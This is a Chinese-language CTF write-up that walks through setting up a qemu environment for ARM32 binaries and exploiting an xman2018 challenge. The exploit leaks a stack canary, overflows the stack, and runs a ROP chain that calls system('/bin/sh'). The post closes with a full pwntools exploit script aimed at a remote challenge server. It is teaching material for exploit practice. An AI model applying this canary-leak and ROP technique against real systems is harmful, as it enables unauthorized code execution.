arm32-pwn从环境搭建到实战
Peanuts IoT安全 10757浏览 · 2019-01-02 00:15

arm32-pwn从环境搭建到实战

关于arm的pwn还是比较令人头疼的,首先汇编比较难看懂,其次就是ida反编译出来的东西还会有错误,比如之后要讲的题目中栈的分布就和ida解析出来的完全不一样。那么先来看一看环境的搭建。之前有人发过完整的64的环境搭建,32的环境搭建和实战还是有一些不同的

环境搭建

环境的搭建应该是现在arm题目中比较麻烦的一个点。

安装qemu

apt-get install qemu

然后可以查看其有哪些指令qemu-[tab][tab],其中有一个qemu-arm这个就是我们运行32的指令。

依赖库安装

依赖库一般可以利用apt-get来进行一个安装,这里我们需要装的库是
sudo apt-get install -y gcc-arm-linux-gnueabi

在安装这个的时候会有一个错误就是很多其他的依赖库没有安装,这个时候sudo apt-get -f install就会自动进行安装,然后再执行上面的语句就可以成功的安装了。

这样整个环境就基本是安装好了

实例分析(xman2018冬令营入营题)

题目本身不难,但是很有借鉴意义和之前上海大学生的比赛结合起来刚好就是一个arm32和arm64非常完整的教程了。

保护查看
[*] '/media/psf/Home/Downloads/pwn'
Arch:     arm-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x10000)

开了canary,这个保护本身是比较麻烦的了

静态分析
主函数分析

一个主函数我改了一下函数名,原来是去符号的。很明显的有一个栈溢出,然后一个sprintf可以进行一个canary的泄漏,这里的思路还是很清晰的。

string分析

这里有几个比较敏感的函数字符串,所以这个题目如果放在linux里我估计大家分分钟秒了,但是这里就有些麻烦了,基本思路是rop了,因为arm也是传递参数的。

栈分布分析

这个栈分布其实是很难去泄漏出canary的但是我在运行程序的时候试试了进行输入0x14*'a'发现好像栈并不是那样的能泄漏出一些东西

动态分析

运行环境

arm主要是进行一个动态的分析,因为静态下很容易不准确,所以这里记录下动态分析一些指令

qemu-arm -L /usr/arm-linux-gnueabi ./pwn
这是运行程序,-L是依赖库

socat tcp-l:10002,fork exec:"qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./pwn",reuseaddr

在10002端口运行我们的arm程序进行一个交互,其中关于gdb如何attach上的这里就不多说了,在上一位写arm64的师傅那写的很详细

canary查看

上面的静态分析可以看出来canary应该是在我们输入0x14的时候泄漏出来的,所以这里试试0x14因为ida中stack看不出canary在什么位置,而且栈里面也看不出来,这里就直接断点在cmp,可以看见我们的canary就在我们输入的后面。

这样canary基本就已经成功的leak出来了。

padding确认

这里我是一个一个试试出来的,一个是ebp的值一个是ret的值,我们就在ret的位置填充一个rop

arm32的参数调用

调用规则是从r0 -> r3 其他的通过栈进行传递,还是比较简单的
然后记录几个命令的用法。

bx == call这是题目本身需要的一个rop中的指令

ROP搜寻

首先我们明确一下自己的思路

1、我们有system函数,所以最后肯定是回到system函数

2、我们有/bin/sh的字符串,这里我们需要把他转移到我们的r0寄存器

3、肯定只能利用ROP,因为他是传参的

没有目标的搜索都是无用功!

其实按照经验来说一般rop常用的就是mov和pop我们就截取出这些

思路解析:

一、先进行一个pop {r4,r5,r6,r7,sb,sl,pc}

二、然后pop {r3,pc}

三、mov r0,r7;bxr3这样我们就可以成功的调用system函数然后getshell了。

exp

from pwn import *
#context.log_level = 'debug'
p = remote('39.105.216.229', 9991)
p.recvline()
p.send('a' * 18)
r = (p.recv())

canary =  r[24:28]
p.recvuntil('Come On\n')

pop_r3_pc = 0x000104a8
pop_r4_r5_r6_r7 = 0x00010804
mov_r0_r7_call = 0x000107f4


payload = ""
payload += p32(pop_r4_r5_r6_r7)
payload += p32(0) # R4
payload += p32(0) # R5
payload += p32(0) # R6
payload += p32(0x21044)
payload += p32(0) # R8
payload += p32(0) # SB
payload += p32(0) # SL

payload += p32(pop_r3_pc)
payload += p32(0x104fc)

payload += p32(mov_r0_r7_call)
pay = 'A' * 24 + (canary) + p32(0xdeadbeef) + payload

p.send(pay)

p.interactive()

总结

arm题目的本身都不难但是搭建环境总是让人烦恼不少,这次总结下了搭建到调试的过程基本就是
安装qemu -> 依赖库安装 ->程序的试运行 -> 程序的调试(这里利用socat进行本地环境搭建非常方便)->exp编写

3 条评论
某人
表情
可输入 255